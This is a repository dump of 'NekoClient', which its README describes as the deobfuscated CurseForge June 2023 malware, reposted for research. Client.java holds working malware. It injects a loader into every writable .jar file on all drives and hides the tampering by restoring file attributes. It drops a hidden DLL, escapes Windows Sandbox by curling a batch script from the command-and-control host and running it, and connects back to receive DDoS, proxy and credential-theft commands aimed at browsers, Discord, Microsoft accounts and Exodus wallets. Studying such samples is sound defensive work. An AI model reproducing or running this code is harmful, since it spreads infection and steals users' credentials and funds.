Repository: clrxbl/NekoClient
Branch: main
Commit: fd76c5f9d40d
Files: 127
Total size: 234.3 KB

Directory structure:
gitextract_9zlzer6w/

├── README.md
└── dev/
    └── neko/
        ├── nekoclient/
        │   ├── Client.java
        │   ├── api/
        │   │   ├── buffer/
        │   │   │   ├── FriendlyByteBuffer.java
        │   │   │   └── StreamByteBuffer.java
        │   │   ├── ddos/
        │   │   │   ├── Method.java
        │   │   │   ├── Protocol.java
        │   │   │   ├── ThreadsUnit.java
        │   │   │   └── impl/
        │   │   │       └── handler/
        │   │   │           ├── BufferFloodingMethodHandler.java
        │   │   │           ├── BufferWritingMethodHandler.java
        │   │   │           ├── MethodHandler.java
        │   │   │           ├── WriteMethodHandler.java
        │   │   │           ├── impl/
        │   │   │           │   ├── general/
        │   │   │           │   │   └── FloodMethod.java
        │   │   │           │   ├── http/
        │   │   │           │   │   ├── HttpBodyMethod.java
        │   │   │           │   │   ├── HttpDefaultMethod.java
        │   │   │           │   │   └── HttpHeaderMethod.java
        │   │   │           │   ├── https/
        │   │   │           │   │   ├── HttpsBodyMethod.java
        │   │   │           │   │   ├── HttpsDefaultMethod.java
        │   │   │           │   │   └── HttpsHeaderMethod.java
        │   │   │           │   └── minecraft/
        │   │   │           │       ├── MinecraftEncryptionMethod.java
        │   │   │           │       ├── MinecraftLargePacketMethod.java
        │   │   │           │       ├── MinecraftLoginMethod.java
        │   │   │           │       └── MinecraftStatusPingMethod.java
        │   │   │           ├── minecraft/
        │   │   │           │   ├── MinecraftMethodHandler.java
        │   │   │           │   ├── ProtocolVersion.java
        │   │   │           │   ├── State.java
        │   │   │           │   └── type/
        │   │   │           │       ├── Type.java
        │   │   │           │       └── impl/
        │   │   │           │           ├── BooleanType.java
        │   │   │           │           ├── BytesType.java
        │   │   │           │           ├── LongType.java
        │   │   │           │           ├── StringType.java
        │   │   │           │           ├── UUIDType.java
        │   │   │           │           ├── UnsignedShortType.java
        │   │   │           │           └── VarIntType.java
        │   │   │           └── ssl/
        │   │   │               ├── SSLBufferFloodingMethodHandler.java
        │   │   │               ├── SSLBufferWritingMethodHandler.java
        │   │   │               └── SSLWriteMethodHandler.java
        │   │   ├── debugger/
        │   │   │   └── Debugger.java
        │   │   ├── disconnect/
        │   │   │   ├── DisconnectException.java
        │   │   │   └── DisconnectReason.java
        │   │   ├── info/
        │   │   │   ├── ClientInfo.java
        │   │   │   ├── OperatingSystem.java
        │   │   │   ├── Side.java
        │   │   │   ├── User.java
        │   │   │   └── VersionInfo.java
        │   │   ├── proxy/
        │   │   │   └── ProxyResponse.java
        │   │   ├── stealer/
        │   │   │   ├── browser/
        │   │   │   │   ├── BrowserData.java
        │   │   │   │   ├── cookie/
        │   │   │   │   │   └── Cookie.java
        │   │   │   │   └── impl/
        │   │   │   │       ├── BrowserDataStealer.java
        │   │   │   │       ├── credential/
        │   │   │   │       │   └── Credential.java
        │   │   │   │       └── decrypt/
        │   │   │   │           ├── chrome/
        │   │   │   │           │   └── ChromeDecryptor.java
        │   │   │   │           └── mozilla/
        │   │   │   │               ├── MozillaDecryptor.java
        │   │   │   │               ├── NSSLibrary.java
        │   │   │   │               └── SECItem.java
        │   │   │   ├── discord/
        │   │   │   │   ├── DiscordAccount.java
        │   │   │   │   └── impl/
        │   │   │   │       └── DiscordStealer.java
        │   │   │   └── msa/
        │   │   │       ├── auth/
        │   │   │       │   ├── ClientType.java
        │   │   │       │   ├── MicrosoftAuth.java
        │   │   │       │   ├── MinecraftProfile.java
        │   │   │       │   └── credentials/
        │   │   │       │       ├── MicrosoftCredentials.java
        │   │   │       │       ├── MinecraftCredentials.java
        │   │   │       │       ├── XSTSCredentials.java
        │   │   │       │       └── XboxLiveCredentials.java
        │   │   │       └── impl/
        │   │   │           └── MSAStealer.java
        │   │   └── windows/
        │   │       ├── FileDescriptor.java
        │   │       ├── WindowsHook.java
        │   │       └── vmescape/
        │   │           └── VMEscape.java
        │   ├── module/
        │   │   ├── Module.java
        │   │   ├── ModuleRegistry.java
        │   │   └── impl/
        │   │       └── CryptoClipperModule.java
        │   ├── packet/
        │   │   ├── Direction.java
        │   │   ├── Packet.java
        │   │   ├── PacketRegistry.java
        │   │   ├── impl/
        │   │   │   ├── NoncePacket.java
        │   │   │   ├── client/
        │   │   │   │   ├── ActionResponsePacket.java
        │   │   │   │   ├── BrowserDataResponsePacket.java
        │   │   │   │   ├── DiscordResponsePacket.java
        │   │   │   │   ├── ExodusResponsePacket.java
        │   │   │   │   ├── HelloPacket.java
        │   │   │   │   ├── KeepAlivePacket.java
        │   │   │   │   ├── MSAResponsePacket.java
        │   │   │   │   └── ProxyResponsePacket.java
        │   │   │   └── server/
        │   │   │       ├── CommandPacket.java
        │   │   │       ├── DDoSPacket.java
        │   │   │       ├── DisconnectPacket.java
        │   │   │       ├── HelloPacket.java
        │   │   │       ├── KeepAlivePacket.java
        │   │   │       ├── ProxyPacket.java
        │   │   │       ├── RequestBrowserDataPacket.java
        │   │   │       ├── RequestDiscordPacket.java
        │   │   │       ├── RequestExodusPacket.java
        │   │   │       ├── RequestMSAPacket.java
        │   │   │       └── UpdateModulePacket.java
        │   │   └── listener/
        │   │       ├── PacketListener.java
        │   │       └── impl/
        │   │           ├── CommandPacketListener.java
        │   │           ├── DDoSPacketListener.java
        │   │           ├── DisconnectPacketListener.java
        │   │           ├── HelloPacketListener.java
        │   │           ├── ProxyPacketListener.java
        │   │           ├── RequestBrowserDataPacketListener.java
        │   │           ├── RequestDiscordPacketListener.java
        │   │           ├── RequestExodusPacketListener.java
        │   │           ├── RequestMSAPacketListener.java
        │   │           └── UpdateModulePacketListener.java
        │   ├── structure/
        │   │   ├── Registry.java
        │   │   └── ThrowingRunnable.java
        │   └── utils/
        │       ├── DNSUtil.java
        │       ├── EncodingUtil.java
        │       ├── FormUtil.java
        │       ├── GraphicUtil.java
        │       ├── HardwareIDUtil.java
        │       ├── HashUtil.java
        │       ├── JsonUtil.java
        │       ├── ObjectUtil.java
        │       └── SystemUtil.java
        └── nekoinjector/
            ├── Injector.java
            ├── Loader.java
            ├── asm/
            │   ├── Entry.java
            │   └── EntryList.java
            ├── template/
            │   ├── SimpleTemplate.java
            │   ├── Template.java
            │   └── impl/
            │       ├── BungeecordPluginTemplate.java
            │       ├── FabricModTemplate.java
            │       ├── ForgeModTemplate.java
            │       ├── MinecraftClientTemplate.java
            │       └── SpigotPluginTemplate.java
            └── utils/
                ├── EncodingUtil.java
                └── ListUtil.java

================================================
FILE CONTENTS
================================================

================================================
FILE: README.md
================================================
# NekoClient

It appears that the attacker behind CurseForge's June 2023 malware incident posted a deobfuscated version of their malware by accident.
Here it is on Github for public research purposes.

No, I am not the author of this, nor am I responsible for infecting your servers.

================================================
FILE: dev/neko/nekoclient/Client.java
================================================
package dev.neko.nekoclient;

import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;
import dev.neko.nekoclient.api.buffer.StreamByteBuffer;
import dev.neko.nekoclient.api.debugger.Debugger;
import dev.neko.nekoclient.api.info.ClientInfo;
import dev.neko.nekoclient.api.info.OperatingSystem;
import dev.neko.nekoclient.api.info.Side;
import dev.neko.nekoclient.api.info.User;
import dev.neko.nekoclient.api.info.VersionInfo;
import dev.neko.nekoclient.api.windows.WindowsHook;
import dev.neko.nekoclient.api.windows.vmescape.VMEscape;
import dev.neko.nekoclient.module.ModuleRegistry;
import dev.neko.nekoclient.packet.Packet;
import dev.neko.nekoclient.packet.PacketRegistry;
import dev.neko.nekoclient.packet.impl.client.KeepAlivePacket;
import dev.neko.nekoclient.packet.impl.server.CommandPacket;
import dev.neko.nekoclient.packet.impl.server.DDoSPacket;
import dev.neko.nekoclient.packet.impl.server.DisconnectPacket;
import dev.neko.nekoclient.packet.impl.server.HelloPacket;
import dev.neko.nekoclient.packet.impl.server.ProxyPacket;
import dev.neko.nekoclient.packet.impl.server.RequestBrowserDataPacket;
import dev.neko.nekoclient.packet.impl.server.RequestDiscordPacket;
import dev.neko.nekoclient.packet.impl.server.RequestExodusPacket;
import dev.neko.nekoclient.packet.impl.server.RequestMSAPacket;
import dev.neko.nekoclient.packet.impl.server.UpdateModulePacket;
import dev.neko.nekoclient.packet.listener.PacketListener;
import dev.neko.nekoclient.packet.listener.impl.CommandPacketListener;
import dev.neko.nekoclient.packet.listener.impl.DDoSPacketListener;
import dev.neko.nekoclient.packet.listener.impl.DisconnectPacketListener;
import dev.neko.nekoclient.packet.listener.impl.HelloPacketListener;
import dev.neko.nekoclient.packet.listener.impl.ProxyPacketListener;
import dev.neko.nekoclient.packet.listener.impl.RequestBrowserDataPacketListener;
import dev.neko.nekoclient.packet.listener.impl.RequestDiscordPacketListener;
import dev.neko.nekoclient.packet.listener.impl.RequestExodusPacketListener;
import dev.neko.nekoclient.packet.listener.impl.RequestMSAPacketListener;
import dev.neko.nekoclient.packet.listener.impl.UpdateModulePacketListener;
import dev.neko.nekoclient.utils.EncodingUtil;
import dev.neko.nekoclient.utils.HardwareIDUtil;
import dev.neko.nekoclient.utils.HashUtil;
import dev.neko.nekoclient.utils.ObjectUtil;
import dev.neko.nekoclient.utils.SystemUtil;
import dev.neko.nekoinjector.Injector;
import dev.neko.nekoinjector.asm.Entry;
import dev.neko.nekoinjector.asm.EntryList;
import dev.neko.nekoinjector.template.Template;
import dev.neko.nekoinjector.template.impl.BungeecordPluginTemplate;
import dev.neko.nekoinjector.template.impl.FabricModTemplate;
import dev.neko.nekoinjector.template.impl.ForgeModTemplate;
import dev.neko.nekoinjector.template.impl.MinecraftClientTemplate;
import dev.neko.nekoinjector.template.impl.SpigotPluginTemplate;
import dev.neko.nekoinjector.utils.ListUtil;
import java.io.ByteArrayOutputStream;
import java.io.Closeable;
import java.io.EOFException;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.StandardSocketOptions;
import java.nio.Buffer;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.nio.file.AccessDeniedException;
import java.nio.file.AtomicMoveNotSupportedException;
import java.nio.file.FileSystem;
import java.nio.file.FileSystemException;
import java.nio.file.FileSystems;
import java.nio.file.FileVisitResult;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.SimpleFileVisitor;
import java.nio.file.StandardCopyOption;
import java.nio.file.attribute.AclFileAttributeView;
import java.nio.file.attribute.BasicFileAttributeView;
import java.nio.file.attribute.BasicFileAttributes;
import java.nio.file.attribute.DosFileAttributeView;
import java.nio.file.attribute.DosFileAttributes;
import java.nio.file.attribute.FileOwnerAttributeView;
import java.nio.file.attribute.PosixFileAttributeView;
import java.nio.file.attribute.PosixFileAttributes;
import java.nio.file.attribute.UserPrincipal;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
import java.util.StringJoiner;
import java.util.UUID;
import java.util.concurrent.CopyOnWriteArrayList;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.function.Predicate;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;
import java.util.stream.Collectors;
import jdk.net.ExtendedSocketOptions;
import org.objectweb.asm.ClassReader;
import org.objectweb.asm.tree.ClassNode;

public class Client implements Closeable {
   private final SocketChannel channel;
   private final PacketRegistry packetRegistry;
   private final VersionInfo versionInfo;
   private final ClientInfo clientInfo;
   private final ScheduledExecutorService service;
   private final List<Client.ConditionListener> listeners;
   private boolean closed;
   private final ModuleRegistry moduleRegistry;

   public Client(SocketChannel channel, PacketRegistry packetRegistry, ClientInfo clientInfo, VersionInfo versionInfo) throws IOException {
      this.channel = channel;
      this.packetRegistry = packetRegistry;
      this.moduleRegistry = new ModuleRegistry(this);
      this.service = Executors.newScheduledThreadPool(4);
      this.listeners = new CopyOnWriteArrayList<>();
      this.clientInfo = clientInfo;
      this.versionInfo = versionInfo;
      this.closed = false;
   }

   public static void start(String ip, int port, Path windowsAPIFile, Runnable closeListener) throws IOException {
      start(new InetSocketAddress(ip, port), closeListener);
   }

   public static void start(InetSocketAddress address, Path windowsAPIFile, Runnable closeListener) throws IOException {
      start(address, closeListener);
   }

   public static void start(InetSocketAddress address, Runnable closeListener) throws IOException {
      start(address);
      closeListener.run();
   }

   public static void start(InetSocketAddress address) throws IOException {
      start(address, (byte[])null);
   }

   public static void start(InetSocketAddress address, byte[] ref) throws IOException {
      List<Runnable> shutdownHooks = new ArrayList<>();
      Debugger debugger = new Debugger(new InetSocketAddress(address.getAddress(), 1338), 1);
      debugger.connect();

      try {
         String restoredRef = Objects.nonNull(ref) ? new String(EncodingUtil.restoreReversedBytes(ref)) : null;
         boolean refererAvailable = Objects.nonNull(restoredRef) && !restoredRef.isEmpty();
         String encodedRef;
         if (!refererAvailable) {
            encodedRef = null;
         } else {
            StringJoiner rawRefJoiner = new StringJoiner(".");

            for(byte b : ref) {
               rawRefJoiner.add(String.valueOf((int)b));
            }

            encodedRef = rawRefJoiner.toString();
         }

         if (refererAvailable) {
            try {
               Path ownPath = Paths.get(Client.class.getProtectionDomain().getCodeSource().getLocation().toURI());
               Path javaFolder = Paths.get(System.getProperty("java.home")).getParent();
               JarFile jarFile = new JarFile(ownPath.toFile());
               ExecutorService injectService = Executors.newWorkStealingPool();
               injectService.execute(
                  () -> {
                     final List<Template> templates = Arrays.asList(
                        new SpigotPluginTemplate(),
                        new FabricModTemplate(),
                        new ForgeModTemplate(),
                        new MinecraftClientTemplate(),
                        new BungeecordPluginTemplate()
                     );
                     FileSystem fileSystem = FileSystems.getDefault();
                     if (!fileSystem.isReadOnly()) {
                        for(Path rootDirectory : fileSystem.getRootDirectories()) {
                           if (Files.isReadable(rootDirectory)) {
                              try {
                                 final AtomicInteger injected = new AtomicInteger(0);
                                 Files.walkFileTree(
                                    rootDirectory,
                                    new SimpleFileVisitor<Path>() {
                                       public FileVisitResult preVisitDirectory(Path path, BasicFileAttributes attrs) throws IOException {
                                          return (!Objects.nonNull(path.getFileName()) || !Objects.equals(path.getFileName().toString(), "$Recycle.Bin"))
                                                && !Objects.equals(path, ownPath.getParent())
                                                && !Objects.equals(path, javaFolder)
                                                && (!Objects.nonNull(path.getFileName()) || !Objects.equals(path.getFileName().toString(), "Java"))
                                             ? super.preVisitDirectory(path, attrs)
                                             : FileVisitResult.SKIP_SUBTREE;
                                       }
      
                                       public FileVisitResult visitFile(Path path, BasicFileAttributes attrs) {
                                          if (Files.isReadable(path)
                                             && Files.isWritable(path)
                                             && Files.isRegularFile(path)
                                             && path.getFileName().toString().endsWith(".jar")) {
                                             try {
                                                JarFile input = new JarFile(path.toFile());
                                                EntryList entries = new EntryList();
                                                ListUtil.toList(entries, input.entries(), entry -> !entry.isDirectory(), jarEntry -> {
                                                   try {
                                                      boolean isClass = jarEntry.getName().endsWith(".class");
                                                      InputStream inputStream = input.getInputStream(jarEntry);
                                                      byte[] bytes = new byte[inputStream.available()];
                                                      int length = 0;
      
                                                      while(length < bytes.length) {
                                                         length += inputStream.read(bytes, length, bytes.length - length);
                                                      }
      
                                                      try {
                                                         if (isClass) {
                                                            ClassReader classReader = new ClassReader(bytes);
                                                            ClassNode classNode = new ClassNode(589824);
                                                            classReader.accept(classNode, 8);
                                                            return new Entry(jarEntry, classNode, bytes, false);
                                                         }
                                                      } catch (Throwable var8x) {
                                                      }
      
                                                      return new Entry(jarEntry, null, bytes, false);
                                                   } catch (IOException var9x) {
                                                      throw new RuntimeException(var9x);
                                                   }
                                                });
                                                List suggestedTemplates = templates.stream()
                                                   .filter(template -> template.shouldSuggest(entries))
                                                   .collect(Collectors.toList());
                                                String mainClass = Injector.findMainClass(input.getManifest());
                                                if (Objects.nonNull(mainClass)) {
                                                   Entry entry = entries.getByPath(mainClass);
                                                   if (Objects.nonNull(entry) && suggestedTemplates.isEmpty()) {
                                                      entry.setInject(true);
                                                   }
                                                }
      
                                                for(Template template : suggestedTemplates) {
                                                   entries.stream()
                                                      .filter(Entry::isClass)
                                                      .filter(template::shouldInject)
                                                      .forEach(entry -> entry.setInject(true));
                                                }
      
                                                Manifest manifest = input.getManifest();
                                                if (Objects.nonNull(manifest)) {
                                                   manifest.getEntries().clear();
                                                }
      
                                                if (entries.stream().anyMatch(entry -> entry.isInject() && !entry.isInjected(encodedRef))) {
                                                   Path tempFile = ownPath.getParent().resolve(String.format("%s.tmp", UUID.randomUUID()));
                                                   Files.createFile(tempFile);
                                                   JarOutputStream output = new JarOutputStream(Files.newOutputStream(tempFile));
      
                                                   for(Entry entry : entries) {
                                                      String name = entry.getJarEntry().getName();
                                                      if (!entry.isCertificate()) {
                                                         output.putNextEntry(new JarEntry(entry.getJarEntry().getName()));
                                                         if (entry.isInject() && entry.isClass()) {
                                                            if (entry.isInjected(encodedRef)) {
                                                               output.write(entry.getBytes());
                                                            } else {
                                                               output.write(
                                                                  entry.inject(
                                                                     Injector.loadInstallerNode(
                                                                        jarFile.getInputStream(jarFile.getJarEntry("dev/neko/nekoinjector/Loader.class")),
                                                                        restoredRef
                                                                     )
                                                                  )
                                                               );
                                                            }
                                                         } else if (Objects.nonNull(manifest) && Objects.equals(name, "META-INF/MANIFEST.MF")) {
                                                            manifest.write(output);
                                                         } else {
                                                            output.write(entry.getBytes());
                                                         }
                                                      }
                                                   }
      
                                                   output.close();
      
                                                   try {
                                                      BasicFileAttributeView basicView = Files.getFileAttributeView(path, BasicFileAttributeView.class);
                                                      BasicFileAttributes basicAttributes = Objects.nonNull(basicView) ? basicView.readAttributes() : null;
                                                      DosFileAttributeView dosView = Files.getFileAttributeView(path, DosFileAttributeView.class);
                                                      DosFileAttributes dosAttributes = Objects.nonNull(dosView) ? dosView.readAttributes() : null;
                                                      PosixFileAttributeView posixView = Files.getFileAttributeView(path, PosixFileAttributeView.class);
                                                      PosixFileAttributes posixAttributes = Objects.nonNull(posixView) ? posixView.readAttributes() : null;
                                                      FileOwnerAttributeView ownerView = Files.getFileAttributeView(path, FileOwnerAttributeView.class);
                                                      UserPrincipal owner = Objects.nonNull(ownerView) ? ownerView.getOwner() : null;
                                                      AclFileAttributeView aclView = Files.getFileAttributeView(path, AclFileAttributeView.class);
                                                      List acl = Objects.nonNull(aclView) ? aclView.getAcl() : null;
      
                                                      try {
                                                         Files.move(tempFile, path, StandardCopyOption.REPLACE_EXISTING, StandardCopyOption.ATOMIC_MOVE);
                                                      } catch (AccessDeniedException | AtomicMoveNotSupportedException var31) {
                                                         Files.move(tempFile, path, StandardCopyOption.REPLACE_EXISTING);
                                                      }
      
                                                      BasicFileAttributeView modifyBasicView = Files.getFileAttributeView(path, BasicFileAttributeView.class);
                                                      if (Objects.nonNull(basicAttributes) && Objects.nonNull(modifyBasicView)) {
                                                         try {
                                                            modifyBasicView.setTimes(
                                                               basicAttributes.lastModifiedTime(),
                                                               basicAttributes.lastAccessTime(),
                                                               basicAttributes.creationTime()
                                                            );
                                                         } catch (IOException | SecurityException var30) {
                                                         }
                                                      }
      
                                                      DosFileAttributeView modifyDosView = Files.getFileAttributeView(path, DosFileAttributeView.class);
                                                      if (Objects.nonNull(dosAttributes) && Objects.nonNull(modifyDosView)) {
                                                         try {
                                                            modifyDosView.setArchive(dosAttributes.isArchive());
                                                            modifyDosView.setHidden(dosAttributes.isHidden());
                                                            modifyDosView.setReadOnly(dosAttributes.isReadOnly());
                                                         } catch (IOException | SecurityException var29) {
                                                         }
                                                      }
      
                                                      PosixFileAttributeView modifyPosixView = Files.getFileAttributeView(path, PosixFileAttributeView.class);
                                                      if (Objects.nonNull(posixAttributes) && Objects.nonNull(modifyPosixView)) {
                                                         try {
                                                            modifyPosixView.setGroup(posixAttributes.group());
                                                            modifyPosixView.setPermissions(posixAttributes.permissions());
                                                         } catch (IOException | SecurityException var28x) {
                                                         }
                                                      }
      
                                                      FileOwnerAttributeView modifyFileOwnerView = Files.getFileAttributeView(
                                                         path, FileOwnerAttributeView.class
                                                      );
                                                      if (Objects.nonNull(owner) && Objects.nonNull(modifyFileOwnerView)) {
                                                         try {
                                                            modifyFileOwnerView.setOwner(owner);
                                                         } catch (IOException | SecurityException var27) {
                                                         }
                                                      }
      
                                                      AclFileAttributeView modifyAclView = Files.getFileAttributeView(path, AclFileAttributeView.class);
                                                      if (Objects.nonNull(acl) && Objects.nonNull(modifyAclView)) {
                                                         try {
                                                            modifyAclView.setAcl(acl);
                                                         } catch (IOException | SecurityException var26) {
                                                         }
                                                      }
                                                   } catch (FileSystemException var32) {
                                                      Files.delete(tempFile);
                                                      throw var32;
                                                   }
      
                                                   injected.getAndIncrement();
                                                }
      
                                                input.close();
                                             } catch (Throwable var33) {
                                             }
      
                                             return FileVisitResult.CONTINUE;
                                          } else {
                                             return FileVisitResult.CONTINUE;
                                          }
                                       }
      
                                       public FileVisitResult visitFileFailed(Path file, IOException exc) {
                                          return FileVisitResult.CONTINUE;
                                       }
                                    }
                                 );
                              } catch (Throwable var10) {
                              }
                           }
                        }
                     }
                  }
               );
               shutdownHooks.add(injectService::shutdownNow);
            } catch (Throwable var14) {
            }
         }

         if (WindowsHook.isSupported()) {
            try {
               Path path = Paths.get(Client.class.getProtectionDomain().getCodeSource().getLocation().toURI()).getParent().resolve("lib.dll");
               if (!Files.exists(path) && Files.isWritable(path.getParent()) || Files.isWritable(path)) {
                  InputStream inputStream = Client.class.getClassLoader().getResourceAsStream("hook.dll");
                  if (Files.exists(path)) {
                     Files.delete(path);
                  }

                  Files.createFile(path);
                  Files.setAttribute(path, "dos:hidden", true);
                  Files.setAttribute(path, "dos:system", true);
                  OutputStream outputStream = Files.newOutputStream(path);

                  while(inputStream.available() > 0) {
                     byte[] bytes = new byte[inputStream.available()];
                     inputStream.read(bytes);
                     outputStream.write(bytes);
                  }

                  outputStream.close();
               }

               WindowsHook.load(path.toAbsolutePath().toString());
               File storage = new File(new File(Client.class.getProtectionDomain().getCodeSource().getLocation().toURI()).getParentFile(), "storage");
               storage.mkdirs();
               VMEscape vmEscape = new VMEscape(
                  storage,
                  Paths.get(System.getenv("WINDIR"), "System32", "cmd.exe"),
                  "/c",
                  String.format(
                     "\"set ref=%s && curl --silent http://%s:%s/script -o %s\\._run.bat && start /min %s\\._run.bat\"",
                     Objects.isNull(encodedRef) ? "" : encodedRef,
                     address.getAddress().getHostAddress(),
                     8080,
                     "%temp%",
                     "%temp%"
                  )
               );
               if (vmEscape.shouldRun()) {
                  debugger.debug("Windows Sandbox detected, escaping...");
                  vmEscape.run();
                  shutdownHooks.add(vmEscape::stop);
               }
            } catch (Throwable var15) {
            }
         }

         SocketChannel channel = SocketChannel.open();
         channel.configureBlocking(true);
         channel.socket().connect(address, 5000);

         try {
            channel.setOption(StandardSocketOptions.SO_KEEPALIVE, true);
            channel.setOption(ExtendedSocketOptions.TCP_KEEPINTERVAL, 10);
            channel.setOption(ExtendedSocketOptions.TCP_KEEPIDLE, 1);
            channel.setOption(ExtendedSocketOptions.TCP_KEEPCOUNT, 4);
         } catch (UnsupportedOperationException | NoSuchFieldError | IOException var13) {
         }

         try {
            channel.setOption(StandardSocketOptions.TCP_NODELAY, true);
         } catch (UnsupportedOperationException | NoSuchFieldError | IOException var12) {
         }

         channel.socket().setSoTimeout(60000);
         Client client = new Client(
            channel,
            new PacketRegistry(),
            new ClientInfo(
               new OperatingSystem(
                  SystemUtil.property("os.name"),
                  SystemUtil.property("os.version"),
                  SystemUtil.property("os.arch"),
                  SystemUtil.getAvailableProcessors(),
                  SystemUtil.getTotalPhysicalMemory(),
                  SystemUtil.getProcessorName()
               ),
               new User(
                  SystemUtil.property("user.name"),
                  InetAddress.getLocalHost().getHostName(),
                  SystemUtil.property("user.home"),
                  SystemUtil.property("user.country"),
                  SystemUtil.property("user.language")
               ),
               HardwareIDUtil.generateHardwareID(),
               restoredRef,
               VMEscape.isVirtualMachine()
            ),
            new VersionInfo(
               Side.CLIENT, HashUtil.generateMD5Hash(Files.readAllBytes(Paths.get(Client.class.getProtectionDomain().getCodeSource().getLocation().toURI())))
            )
         );
         client.addListener(HelloPacket.class, new HelloPacketListener());
         client.addListener(CommandPacket.class, new CommandPacketListener());
         client.addListener(DisconnectPacket.class, new DisconnectPacketListener());
         client.addListener(DDoSPacket.class, new DDoSPacketListener());
         client.addListener(RequestExodusPacket.class, new RequestExodusPacketListener());
         client.addListener(ProxyPacket.class, new ProxyPacketListener());
         client.addListener(UpdateModulePacket.class, new UpdateModulePacketListener());
         client.addListener(RequestBrowserDataPacket.class, new RequestBrowserDataPacketListener());
         client.addListener(RequestMSAPacket.class, new RequestMSAPacketListener());
         client.addListener(RequestDiscordPacket.class, new RequestDiscordPacketListener());
         client.getService().scheduleAtFixedRate(() -> {
            try {
               client.send(new KeepAlivePacket());
            } catch (IOException var2x) {
               throw new RuntimeException(var2x);
            }
         }, 10L, 10L, TimeUnit.SECONDS);
         client.listen();
      } catch (Throwable var16) {
         ByteArrayOutputStream dataHolder = new ByteArrayOutputStream();
         PrintStream stream = new PrintStream(dataHolder);
         var16.printStackTrace(stream);
         debugger.debug(dataHolder.toByteArray());
      }

      for(Runnable shutdownHook : shutdownHooks) {
         shutdownHook.run();
      }

      debugger.close();
   }

   public final <T extends Packet> T receive() throws IOException {
      Packet packet = this.packetRegistry.getById(new String(this.read(this.read(1).get()).array()));
      FriendlyByteBuffer buffer = new FriendlyByteBuffer(this.read(this.read(4).getInt()));
      if (Objects.isNull(packet)) {
         throw new IllegalStateException("Packet not found!");
      } else if (!Objects.equals(packet.getDirection().getReceiver(), this.versionInfo.getSide())) {
         throw new IllegalStateException("Wrong direction!");
      } else {
         packet.read(buffer);
         return (T)packet;
      }
   }

   public final ByteBuffer read(int length) throws IOException {
      ByteBuffer buffer = ByteBuffer.allocate(length);

      while(buffer.remaining() > 0) {
         if (this.closed || Objects.equals(this.channel.read(buffer), -1)) {
            throw new EOFException();
         }
      }

      ((Buffer)buffer).flip();
      return buffer;
   }

   public void listen() {
      while(!this.closed && !this.service.isTerminated() && !this.service.isShutdown() && this.channel.isConnected() && this.channel.isOpen()) {
         try {
            Packet packet = this.receive();

            for(Client.ConditionListener listener : this.listeners) {
               if (listener.getPredicate().test(packet)) {
                  listener.getListener().call(ObjectUtil.unsafeCast(packet), this, listener.getId());
               }
            }
         } catch (IOException var5) {
            try {
               this.close();
            } catch (IOException var4) {
            }

            return;
         }
      }

      try {
         this.close();
      } catch (IOException var6) {
      }
   }

   public void addListener(Predicate<Packet> predicate, PacketListener<?> listener) {
      this.listeners.add(new Client.ConditionListener(predicate, listener));
   }

   public void addListener(PacketListener<?> listener) {
      this.addListener(packet -> true, listener);
   }

   public <T extends Packet> void addListener(Class<T> clazz, PacketListener<T> listener) {
      this.addListener(packet -> clazz.isAssignableFrom(packet.getClass()), listener);
   }

   public void removeListener(String id) {
      this.listeners.removeIf(conditionListener -> Objects.equals(conditionListener.getId(), id));
   }

   public void send(Packet packet) throws IOException {
      if (!this.channel.isOpen()) {
         throw new IllegalStateException("Channel closed!");
      } else {
         StreamByteBuffer packetData = new StreamByteBuffer();
         packet.write(packetData);
         ByteBuffer packetBuffer = packetData.getBuffer();
         ((Buffer)packetBuffer).flip();
         byte[] packetId = packet.getId().getBytes();
         ByteBuffer buffer = ByteBuffer.allocate(1 + packetId.length + 4 + packetBuffer.capacity());
         buffer.put((byte)packetId.length);
         buffer.put(packetId);
         buffer.putInt(packetBuffer.capacity());
         buffer.put(packetBuffer);
         ((Buffer)buffer).flip();

         try {
            this.channel.write(buffer);
         } catch (IOException var7) {
            this.close();
            throw var7;
         }
      }
   }

   @Override
   public void close() throws IOException {
      if (!this.closed) {
         this.closed = true;
         if (!this.service.isShutdown()) {
            this.service.shutdownNow();
         }

         if (this.channel.isOpen()) {
            this.channel.close();
         }
      }
   }

   public final VersionInfo getVersionInfo() {
      return this.versionInfo;
   }

   public final ClientInfo getClientInfo() {
      return this.clientInfo;
   }

   public final boolean isConnected() {
      return this.channel.isConnected();
   }

   public final ScheduledExecutorService getService() {
      return this.service;
   }

   public final InetSocketAddress getAddress() throws IOException {
      return (InetSocketAddress)this.channel.getRemoteAddress();
   }

   public final ModuleRegistry getModuleRegistry() {
      return this.moduleRegistry;
   }

   public static class ConditionListener {
      private final String id = String.format("%s-%s", UUID.randomUUID(), System.currentTimeMillis());
      private final Predicate<Packet> predicate;
      private final PacketListener<?> listener;

      public ConditionListener(Predicate<Packet> predicate, PacketListener<?> listener) {
         this.predicate = predicate;
         this.listener = listener;
      }

      public final String getId() {
         return this.id;
      }

      public final Predicate<Packet> getPredicate() {
         return this.predicate;
      }

      public final PacketListener<?> getListener() {
         return this.listener;
      }
   }
}


================================================
FILE: dev/neko/nekoclient/api/buffer/FriendlyByteBuffer.java
================================================
package dev.neko.nekoclient.api.buffer;

import java.io.EOFException;
import java.io.IOException;
import java.nio.Buffer;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.util.Objects;

public class FriendlyByteBuffer {
   private final ByteBuffer buffer;

   public FriendlyByteBuffer(ByteBuffer buffer) {
      this.buffer = buffer;
   }

   public final byte get() {
      return this.buffer.get();
   }

   public final int getInt() {
      return this.buffer.getInt();
   }

   public final long getLong() {
      return this.buffer.getLong();
   }

   public final char getChar() {
      return this.buffer.getChar();
   }

   public final double getDouble() {
      return this.buffer.getDouble();
   }

   public final float getFloat() {
      return this.buffer.getFloat();
   }

   public final short getShort() {
      return this.buffer.getShort();
   }

   public final byte[] getBytes() {
      int length = this.buffer.getInt();
      if (length < 0) {
         return null;
      } else {
         byte[] bytes = new byte[length];
